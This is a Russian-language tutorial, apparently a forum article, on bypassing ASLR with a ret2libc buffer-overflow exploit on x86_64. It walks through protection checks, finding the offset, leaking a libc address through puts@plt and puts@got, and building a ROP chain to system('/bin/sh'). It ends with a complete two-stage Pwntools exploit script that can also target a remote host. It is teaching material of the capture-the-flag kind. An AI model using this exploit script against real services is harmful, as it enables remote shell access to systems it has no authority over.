Статья PWN: Buffer Overflow с обходом ASLR через ret2libc

1773260703338.webp

Buffer overflow давно перестал быть историей только про учебные примеры с shellcode в стеке. Защиты стали жёстче, прямолинейная эксплуатация ломается всё чаще, а значит и сам подход к pwn давно сместился от простого переписывания адреса возврата к аккуратной работе с тем, что уже загружено в память процесса.

ret2libc - как раз та техника, на которой этот переход особенно хорошо виден. Она не выглядит экзотикой, но отлично показывает, как устроена современная бинарная эксплуатация: сначала понять, какие защиты включены, потом получить утечку, вычислить базу libc и уже после этого собрать рабочую цепочку выполнения.

Binary Exploitation​

В бинарной эксплуатации почти никогда не хватает одной уязвимости. Сам факт переполнения буфера ещё не означает, что из процесса сразу получится вытащить shell. Всё упирается в то, какие защиты включены, насколько контролируется стек, можно ли исполнять код из данных, рандомизируются ли адреса и насколько удобно привязаться к уже загруженным библиотекам.

Именно поэтому ret2libc остаётся такой важной техникой. Она показывает, как эксплойт перестаёт быть тупым прыжком в shellcode и превращается в более взрослую схему: сначала получить контроль над возвратом, потом вытащить адрес из памяти процесса, вычислить базу libc и только после этого направить выполнение в system("/bin/sh") или другой полезный вызов. То есть не просто переписать RIP, а заставить процесс работать на себя в условиях, где прямое исполнение уже ограничено.

NX, ASLR, Canary, PIE​

Перед разбором самого overflow давайте разберемся, какие ограничения задаёт бинарник и окружение. Именно они определяют, какой путь эксплуатации вообще имеет смысл.

NX - это защита, которая запрещает исполнение кода в областях памяти, предназначенных для данных. Если стек неисполняемый, классический сценарий с инъекцией shellcode в буфер сразу отпадает. Придётся использовать уже существующий код в памяти процесса.

ASLR - рандомизация адресного пространства. Она сдвигает адреса библиотек, стека, кучи и иногда самого бинарника. Это ломает эксплуатацию по фиксированным адресам: даже если однажды получилось найти system(), в следующем запуске этот адрес уже будет другим. Именно поэтому в ret2libc почти всегда нужен leak - утечка адреса, от которой потом считается база libc.

Stack Canary - защитное значение в стеке, которое проверяется перед возвратом из функции. Если переполнение задевает canary, программа завершится до того, как управление перейдёт к атакующему. Это не делает баг неэксплуатируемым автоматически, но сильно меняет механику.

PIE - позиционно-независимый исполняемый файл. Если PIE включён, рандомизируется и база самого бинарника. Это усложняет жизнь, потому что начинают плавать не только адреса libc, но и адреса внутри самого ELF: plt, got, гаджеты, полезные функции и точки возврата.

В нашем сценарии интерес представляет такой набор условий: NX включён, ASLR включён, stack canary отсутствует, а PIE либо отключён, либо его влияние разбирается отдельно. Это уже достаточно реалистичная конфигурация, чтобы классический shellcode не сработал, а ret2libc стал не декоративным приёмом, а нормальным способом обойти ограничения среды.

Анализ бинарника​

В ret2libc всё начинает ломаться не на этапе вызова system(), а гораздо раньше - когда атакующий ещё толком не понял, с чем вообще имеет дело. Пока неясно, включён ли canary, рандомизируется ли сам бинарник, можно ли опираться на фиксированные адреса внутри ELF и где именно происходит переполнение, любая дальнейшая эксплуатация остаётся гаданием. Поэтому нормальный pwn почти всегда начинается не с payload, а с разведки.

Смысл этого этапа простой: сначала выяснить, какие защиты реально мешают, затем найти уязвимую функцию и только после этого определить точный offset (смещение) до адреса возврата. Без этого ret2libc быстро превращается в возню с неверными адресами, сломанным стеком и бесконечными сегфолтами, которые ничего не объясняют.

checksec: определение защит​

Первое, что обычно делают с бинарником, - проверяют его защитный профиль. Здесь важен не сам факт запуска checksec, а то, как читать результат.
Типичный старт выглядит так:
Bash:
checksec --file=./vuln
file ./vuln
file быстро показывает базовые свойства ELF: архитектуру, разрядность, динамическую или статическую линковку, PIE и общую форму бинарника.
checksec уже отвечает на более практичный вопрос: что именно будет мешать эксплуатации.
В контексте ret2libc особенно важны четыре поля:
ЗащитаЧто означает для эксплуатации
NXshellcode в стеке уже не выглядит нормальным путём
Canaryпростая перезапись адреса возврата может не дожить до ret
PIEадреса внутри самого бинарника тоже начинают плавать
RELROвлияет на возможность работы с GOT и на некоторые варианты перезаписи
В нашем сценарии самый удобный набор выглядит так: NX включён, Canary выключен, PIE выключен или предсказуем, RELRO не мешает использовать GOT для утечки. Это не делает эксплуатацию тривиальной, но задаёт правильную модель: код в стеке не исполнить, зато можно опираться на уязвимую функцию, фиксированные участки бинарника и утечку libc.

Если же PIE включён, все ниже сказанное не становится бесполезным - просто растёт цена ошибки. В таком случае вместе с libc придётся отдельно разбираться и с базой самого ELF. Для нашего первого разбора ret2libc это уже лишний слой сложности, поэтому PIE мы отключим)).

Disassembly: vulnerable function​

После checksec следующий вопрос уже более приземлённый: где именно происходит переполнение. Тут в дело идут objdump, gdb, gef, pwndbg, radare2 или любой другой инструмент, которым удобно смотреть дизассемблирование и вызовы функций.
Базовый вариант:
Bash:
objdump -d ./vuln | less
Ищется не абстрактная “опасная логика”, а вполне конкретный участок, где данные без нормального контроля попадают в стековый буфер. Чаще всего это что-то вроде:
  • gets()
  • strcpy()
  • scanf("%s")
  • read() без адекватной длины
  • пользовательская обёртка поверх небезопасного копирования
Уязвимая функция обычно видна довольно быстро. Есть локальный буфер, есть чтение в него, есть отсутствие нормального ограничения длины, а дальше уже вопрос техники - добирается ли перезапись до saved return address.

Здесь важно не только найти опасный вызов, но и понять форму стека в этой функции. Какого размера буфер. Есть ли сохранённый rbp. Насколько далеко до rip. Срабатывает ли leave; ret. Иначе говоря, нужен не просто факт уязвимости, а карта того, что именно мы можем перезаписать.

Если смотреть на это глазами эксплуатации, то цель этапа очень простая: убедиться, что переполнение реально доходит до адреса возврата, а не просто портит локальные переменные и завершает программу крашем без управления потоком выполнения.

Определение offset через cyclic pattern​

После того как стало понятно, что переполнение действительно есть, остаётся самый полезный прикладной шаг - вычислить точное смещение до адреса возврата.

Здесь уже не надо угадывать размер буфера на глаз. Для этого и используют cyclic pattern - специальную последовательность, по которой потом можно точно понять, какой участок входа попал в RIP.

В Pwntools это обычно выглядит так:
Python:
from pwn import *

payload = cyclic(300)
Дальше программа запускается с этим вводом, падает, а затем по значению, оказавшемуся в RIP, считается offset:
Python:
cyclic_find(0x6161616b)
На практике это один из самых полезных моментов во всей цепочке. Пока offset не определён точно, все дальнейшие ROP-цепочки бессмысленны. Один байт ошибки - и вместо аккуратного возврата в puts@plt или gadget программа уходит в краш, который больше ничего не сообщает.

Здесь можно легко ошибиться в трёх местах:
ОшибкаК чему приводит
перепутать разрядностьcyclic_find даёт неверный offset
считать не тот регистрpayload строится от ложной точки
игнорировать saved rbpцепочка ломается до возврата
В x86_64 особенно важно помнить, что работа идёт уже не с EIP, а с RIP, и стек выстраивается под 64-битную calling convention. Из-за этого часть старых привычек из 32-битных задач только мешает.

Если хочется чуть подробнее пройти саму базу - без прыжка сразу в libc, leak и цепочки возвратов, - в статье: "Эксплуатация бинарных уязвимостей (PWN) для почти начинающих" мы хорошо разобрали самый фундаментальный слой pwn

Утечка адреса libc​

ret2libc становится по-настоящему интересной в тот момент, когда выясняется простая вещь: одного контроля над RIP уже недостаточно. Адреса libc при включённом ASLR плавают, и просто взять system() по фиксированному адресу не получится. Значит, перед основной цепочкой нужен ещё один шаг - утечка адреса из памяти процесса.

Это и есть переломный момент между учебным переполнением и нормальной эксплуатацией. Пока атакующий не получил реальный адрес одной из функций libc в текущем запуске, он не знает, где находится сама библиотека. А без базы libc нельзя надёжно вычислить ни system(), ни строку "/bin/sh", ни любые другие нужные символы.

PLT и GOT: механика​

Чтобы понять, откуда вообще брать утечку, нужно быстро разобрать две ключевые таблицы в ELF: PLT и GOT.
PLT (Procedure Linkage Table) - это набор stub-функций внутри бинарника, через которые вызываются внешние функции вроде puts, read, write, printf.

GOT (Global Offset Table) - таблица указателей, в которой после разрешения символов хранятся реальные адреса функций из загруженных библиотек.

Для эксплуатации это важно по одной причине: если программа уже использует, например, puts(), то в GOT будет указатель на её реальный адрес в libc. А значит, если заставить программу вывести содержимое соответствующей записи, можно получить один валидный libc-адрес прямо из живого процесса.

Именно поэтому ret2libc часто начинается не с вызова system(), а с вызова чего-то куда более скучного - puts(puts@got) или похожей конструкции. На первый взгляд это выглядит почти бессмысленно. На практике это и есть тот самый leak, без которого обход ASLR не складывается.

Если бинарник без PIE, работа становится удобнее: адреса plt, got и полезных функций внутри самого ELF фиксированы, и на них можно спокойно опираться при построении первой ROP-цепочки. libc всё ещё рандомизируется, но теперь хотя бы есть стабильная точка, с которой можно начать.

puts@plt для leaking​

Самый классический сценарий - использовать puts@plt, чтобы вывести адрес puts из GOT.
Логика здесь очень чистая:
  1. перехватываем управление;
  2. передаём в puts() адрес записи puts@got;
  3. получаем в выводе реальный адрес puts в libc;
  4. возвращаемся обратно в уязвимую функцию или в main, чтобы отправить второй payload уже с вычисленной базой.
Именно последний шаг часто упускают новички. Первый payload почти никогда не должен сразу давать shell. Его задача - аккуратно утечь адрес и вернуть программу в состояние, где можно повторно взаимодействовать с процессом.

В x86_64 такая цепочка обычно требует gadget’а вида pop rdi; ret, потому что первый аргумент функции передаётся через RDI. Поэтому первая стадия ret2libc часто выглядит как минимальный ROP:
  • pop rdi; ret
  • адрес puts@got
  • puts@plt
  • возврат в main или уязвимую функцию
Это тот случай, где сама техника простая, а ценность - в аккуратности. Если не вернуть управление в повторно вызываемый участок программы, exploit после утечки просто завершит процесс, и второй стадии уже не будет.

Парсинг leaked address​

После утечки начинается ещё одна зона, где легко сделать всё правильно на 90% и всё равно сломать exploit. Полученный адрес надо не просто увидеть, а корректно распарсить.

Обычно puts() выводит байты до первого NULL, поэтому утечка может выглядеть не как красивый полный 64-битный адрес, а как короткая последовательность байтов, которую ещё нужно правильно дополнить до нужной длины. В Pwntools это обычно сводится к чтению строки или байтового блока и дальнейшему преобразованию через u64().

Типовая логика такая:
Python:
leak = p.recvline().strip()
addr = u64(leak.ljust(8, b'\x00'))
Смысл здесь в том, что утечка выравнивается до 8 байт, а потом интерпретируется как little-endian адрес. Если этот шаг сделать небрежно, дальше всё поедет: база libc будет вычислена неверно, адрес system() уйдёт мимо, а в лучшем случае exploit просто упадёт в сегфолт.

Есть несколько типовых ловушек:
ОшибкаЧто ломается
считывается не та строкавместо адреса берётся мусор из stdout
не учтён NULL-обрывутечка выглядит короче, чем есть на самом деле
неверный little-endian разборвычисляется ложный адрес
leak не относится к той libcвсе дальнейшие offsets (смещения) становятся бесполезны
На этом этапе важно не торопиться. Нормальная ret2libc почти всегда двухшаговая: сначала аккуратный leak, потом расчёт базы, потом уже рабочая цепочка. Именно leak превращает ASLR из жёсткого барьера в задачу на вычисление. Следующая глава как раз про это - как из одного реального адреса перейти к базе libc и понять, с какой именно версией библиотеки вообще приходится работать.

Когда механика утечки уже понятна и хочется ещё глубже посмотреть именно на связку buffer overflow + libc leak + ret2libc, в статье: "Переполнение буфера и техника эксплуатации Ret2Libc - изучение методов эксплуатации на примерах, часть 7" это разобрано подробнее: .

Вычисление libc base​

Утечка адреса сама по себе ещё ничего не завершает. Она только даёт точку привязки. Дальше задача уже более сухая, но критичная: понять, к какой именно libc относится leak, и вычислить её базовый адрес в памяти процесса. Именно в этот момент ret2libc перестаёт быть красивой идеей и превращается в рабочую математику.

Логика здесь простая: если известен реальный адрес функции в памяти и известен её offset внутри конкретной версии libc, то база считается обычным вычитанием. После этого уже можно получить адреса system, exit, "/bin/sh" и любых других символов, которые нужны для финальной цепочки.

Идентификация libc версии​

Это место часто недооценивают. На первый взгляд кажется, что достаточно получить реальный адрес puts в памяти процесса и сразу посчитать libc_base. На практике всё упирается в то, какая именно libc загружена у процесса. Если exploit собирается локально на одной версии библиотеки, а удалённый сервис использует другую, offsets начнут расходиться, и цепочка развалится даже при корректном leak.

В идеальной ситуации нужная libc уже есть под рукой. Например, challenge поставляется вместе с бинарником и файлом libc.so.6, или среда запуска известна заранее. Тогда всё довольно чисто: Pwntools загружает нужную библиотеку, и offsets берутся напрямую из неё.
Python:
elf = ELF("./vuln")
libc = ELF("./libc.so.6")
Если libc неизвестна, начинается менее приятная часть - попытка определить её по leak’у. Обычно для этого используют базы вроде libc database или схожие сервисы, где по адресу одной или нескольких функций можно найти наиболее вероятную версию библиотеки.
libc database - это база сигнатур libc, где по утёкшим адресам или offsets можно подобрать версию библиотеки и восстановить расположение нужных символов.

Но здесь есть важный нюанс. Один leak не всегда даёт однозначный результат. Иногда можно получить несколько кандидатов с одинаковыми младшими байтами. Тогда приходится либо искать ещё одну функцию, либо учитывать окружение, архитектуру, версию glibc и другой контекст. Иначе exploit может почти работать локально и стабильно разваливаться на remote.

Если libc известна, расчёт дальше становится прямолинейным. Если libc неизвестна, утечка должна не просто существовать, а позволять достаточно надёжно определить саму библиотеку. Иначе offsets превращаются в угадывание.

Расчёт offsets​

После того как версия libc определена, начинается самая приятная часть - обычная арифметика.
Если утёк реальный адрес puts, а offset puts внутри libc известен, формула выглядит так:
Python:
libc_base = leaked_puts - libc.symbols["puts"]

После этого уже можно получить нужные адреса:
Python:
system_addr = libc_base + libc.symbols["system"]
exit_addr = libc_base + libc.symbols["exit"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
И вот здесь ret2libc становится очень удобной техникой. Вместо поиска shellcode или инъекции нового кода атакующий просто использует уже существующую функцию system() и уже существующую строку "/bin/sh" внутри той же libc. Всё, что нужно - правильно вычислить их реальные адреса для текущего запуска.

Есть несколько типовых мест, где всё ломается:
ОшибкаЧто идёт не так
неверная libc версияoffsets не совпадают, system() уходит мимо
leak получен не от той функциибаза считается неверно
неправильный парсинг адресаошибка появляется ещё до вычисления libc
игнорируется архитектурарасчёт делается с неверными размерами и соглашениями вызова
Ещё одна частая ловушка - слишком ранняя уверенность в результате. Если libc_base вычислен правильно, адрес обычно выглядит логично: выровнен по границе отображения и не похож на случайный мусор. Если же после расчёта system() указывает в странное место или "/bin/sh" не находится, проблема почти всегда в одном из предыдущих шагов - leak, версия libc или парсинг.

На этом этапе у атакующего уже есть всё, что нужно для финальной стадии: контроль над возвратом, известный offset, утечка libc и вычисленная база. Дальше остаётся собрать ROP-цепочку так, чтобы процесс вызвал system("/bin/sh") и не развалился раньше времени из-за неправильных аргументов или кривого выравнивания стека.

Построение ROP-chain​

К этому моменту уязвимость уже не выглядит абстрактной. Есть точный offset до адреса возврата, есть утечка, есть вычисленная база libc. Значит, остаётся самое важное - собрать цепочку так, чтобы управление не просто ушло из уязвимой функции, а дошло до нужного вызова в правильном порядке и с корректными аргументами.

И вот здесь ret2libc быстро перестаёт быть красивой формулой из write-up’ов. На практике эксплойт ломается не потому, что system() недоступна, а потому что стек криво выровнен, нужный аргумент не попал в регистр, gadget оказался неудобным, а цепочка развалилась раньше, чем дошла до полезного вызова. Поэтому ROP на этом этапе - уже не дополнение к ret2libc, а её рабочий каркас.

ROPgadget: поиск гаджетов​

ROP (Return-Oriented Programming) - это техника, при которой выполнение собирается из коротких фрагментов уже существующего кода, обычно заканчивающихся инструкцией ret.

В x86_64 для ret2libc почти всегда нужен хотя бы один базовый gadget:
pop rdi; ret

Он нужен потому, что первый аргумент функции по системному соглашению вызова передаётся через регистр RDI. Если задача - вызвать system("/bin/sh"), то адрес строки "/bin/sh" сначала должен попасть именно туда.

Искать gadget’ы обычно начинают так:
Bash:
ROPgadget --binary ./vuln | grep "pop rdi"
или через ropper:
Bash:
ropper --file ./vuln --search "pop rdi; ret"

Если бинарник не слишком маленький и не собран каким-то совсем аскетичным образом, нужный gadget почти всегда находится. Дальше уже вопрос удобства: использовать gadget из самого бинарника, из libc или из другого стабильного участка памяти.

Для первого учебного сценария удобнее всего брать gadget из самого ELF, особенно если PIE отключён. Тогда его адрес не плавает между запусками, и эксплойт не усложняется лишней зависимостью от базы самого бинарника.

system("/bin/sh") chain​

Когда база libc уже вычислена, минимальная ret2libc-цепочка выглядит довольно компактно. В x86_64 она обычно строится так:
  1. забиваем буфер до адреса возврата;
  2. кладём pop rdi; ret;
  3. кладём адрес строки "/bin/sh" в libc;
  4. кладём адрес system();
  5. при необходимости - exit() или другой безопасный хвост.
В Pwntools это обычно собирается примерно так:
Python:
payload  = b"A" * offset
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(exit_addr)
Здесь идея простая: при возврате управление попадает в gadget, тот загружает адрес "/bin/sh" в RDI, затем следующий ret уводит выполнение в system(), а та уже получает правильный аргумент.

На практике exit() в конце не всегда обязателен, но часто полезен. Если цепочка по какой-то причине завершится без него, процесс может упасть грязнее, чем хотелось бы. Для локальной отладки это ещё терпимо. Для remote exploitation лишняя стабильность обычно не мешает.

Есть и более короткие варианты. Иногда вместо явной цепочки до system() используют one_gadget, если условия окружения позволяют. Но это уже не такой чистый учебный сценарий, и нам для понимания ret2libc классический вызов system("/bin/sh") полезнее.

Stack alignment и ret gadget​

Одна из самых раздражающих проблем в x86_64 - стек может быть выровнен неправильно, и цепочка, которая “почти правильная”, начнёт падать на вызове libc-функции без очевидной причины. Это особенно заметно на современных glibc, где часть инструкций внутри функций чувствительна к alignment.

Stack alignment - это корректное выравнивание стека по границе, ожидаемой соглашением вызова и реализацией libc.

Из-за этого в ret2libc-цепочке часто появляется ещё один лишний ret перед system():
Python:
payload  = b"A" * offset
payload += p64(ret_gadget)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
На первый взгляд это выглядит как странная декоративная вставка. На практике именно этот ret иногда и отличает рабочий exploit от сегфолта в libc. Особенно когда всё остальное уже рассчитано правильно, а процесс всё равно падает “где-то внутри system()”.

Именно поэтому stack alignment - не мелкая деталь, а полноценная часть эксплуатации на x86_64. Если адреса верные, offset верный, gadget’ы на месте, а цепочка всё равно ведёт себя нестабильно, первым подозреваемым часто становится именно выравнивание стека.

На этом этапе ret2libc уже почти собрана. Дальше остаётся сделать последний практический шаг: оформить всё это в нормальный exploit script на Pwntools, который сначала работает локально, а потом переносится на remote-сценарий.

Если после ret2libc хочется двинуться дальше и уже плотнее зайти в саму логику возвратно-ориентированного программирования, с гаджетами, переходами и более сложной цепочкой выполнения, полезно открыть это руководство: ROP цепочка гаджетов - изучение методов эксплуатации на примерах, часть 10.

Exploit Script на Pwntools​

Когда все подготовительные шаги уже сделаны, эксплоит перестаёт быть набором отдельных приёмов и превращается в нормальный рабочий сценарий. Сначала бинарник анализируется, потом находится точный offset, после этого вытаскивается адрес из libc, считается база, собирается цепочка и только в самом конце всё это укладывается в один скрипт. Именно на этом этапе становится понятно, насколько хорошо была собрана вся логика до него.

Pwntools здесь удобен не потому, что делает магию за атакующего, а потому что убирает лишнюю возню вокруг байтов, сокетов, упаковки адресов и переключения между локальным и удалённым режимом. Это хороший инструмент именно для того, чтобы эксплоит выглядел как последовательность шагов, а не как хаотичный набор отправок в процесс.

Полный код​

Обычно такой скрипт строится в две стадии. Первая получает утечку и возвращает программу в безопасную точку повторного ввода. Вторая уже использует вычисленную базу libc и отправляет финальную цепочку.
Типовой шаблон выглядит так:
Python:
from pwn import *

context.binary = elf = ELF("./vuln")
libc = ELF("./libc.so.6")

HOST = "example.com"
PORT = 31337

pop_rdi = 0x40123b
ret_align = 0x40101a
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]

offset = 72

def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process(elf.path)

io = start()

payload  = b"A" * offset
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

io.sendline(payload)

leak = io.recvline().strip()
leaked_puts = u64(leak.ljust(8, b"\x00"))

libc_base = leaked_puts - libc.symbols["puts"]
system_addr = libc_base + libc.symbols["system"]
exit_addr = libc_base + libc.symbols["exit"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))

payload  = b"A" * offset
payload += p64(ret_align)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(exit_addr)

io.sendline(payload)
io.interactive()

Хороший признак нормального эксплоит-скрипта - он читается сверху вниз без загадок. Откуда берутся адреса, зачем нужен повторный вход, где считается база libc, в какой момент собирается финальная цепочка. Если скрипт этого уже не показывает, значит механика ещё не до конца понята.

Local → Remote exploitation​

Переход от локальной эксплуатации к удалённой почти всегда оказывается менее красивым, чем хотелось бы. Именно тут всплывают несовпадения libc, разные версии glibc, иные адреса гаджетов при PIE, другая буферизация вывода, лишние строки в баннере, различия в тайминге и прочие мелочи, которые локально были незаметны.

Из-за этого нормальный эксплоит лучше изначально писать так, чтобы переключение между локальным и удалённым режимом было частью конструкции, а не аварийной переделкой в последний момент. Именно поэтому в Pwntools обычно делают отдельную функцию запуска и выбирают режим через аргумент:
Python:
def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process(elf.path)
Это кажется мелочью, но именно такие вещи сильно упрощают отладку. Локально можно быстро проверить offset, утечку и расчёт базы. Потом тот же эксплоит переводится в remote-режим без переписывания основной логики.

Самая частая проблема на этом этапе - уверенность, что если эксплоит сработал локально, то дальше всё уже вопрос одной кнопки. На деле удалённая эксплуатация чаще всего ломается в трёх местах:
ПроблемаЧто обычно происходит
другая libcбаза считается правильно, но offsets не совпадают
иной вывод программыутечка считывается криво или не из той строки
нестабильная цепочкалокально работает, удалённо падает из-за выравнивания или тайминга
Поэтому переход на удалённую цель всегда лучше проверять по частям. Сначала убедиться, что leak приходит корректно. Потом проверить, что база libc выглядит правдоподобно. И только после этого отправлять финальную цепочку. Если пытаться отлаживать всё сразу, эксплоит очень быстро превращается в шум из догадок.

В pwn одна из самых полезных привычек - относиться к эксплоиту не как к финальному артефакту, а как к цепочке проверяемых шагов. Offset отдельно. Leak отдельно. База отдельно. Финальный вызов отдельно. Именно так ret2libc и перестаёт быть чем-то невероятным. Она становится обычной технической процедурой (хоть и довольно муторной), где каждая ошибка локализуется достаточно быстро, если не пытаться перепрыгнуть сразу к shell.

Подведем итоги​

ret2libc хороша не тем, что даёт эффектный финал с shell, а тем, что очень трезво показывает, как на самом деле устроена современная бинарная эксплуатация. Одного переполнения уже недостаточно. Нужно понимать защитный профиль бинарника, уметь читать ELF, вытаскивать утечку, считать базу libc и только потом собирать цепочку так, чтобы процесс пошёл по нужному маршруту. Именно на таких техниках pwn и перестаёт быть набором трюков, а превращается в системную работу с памятью, вызовами и средой выполнения.

При этом сама идея ret2libc до сих пор не выглядит музейной. Меняются защиты, усложняется окружение, появляются новые ограничения, но логика использования уже загруженного кода вместо прямой инъекции никуда не девается. И чем лучше понятна эта логика, тем проще потом разбираться и с ROP, и с libc leaks, и с более тяжёлыми сценариями эксплуатации, где всё ломается уже не в одной точке, а по цепочке.

И вот здесь остаётся вопрос, который всегда отделяет просто решённый challenge от реально понятой техники: в какой момент ret2libc перестаёт быть учебным приёмом и начинает ощущаться как нормальный инженерный подход к эксплуатации памяти?
 
  • Нравится
Реакции: Edmon Dantes
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab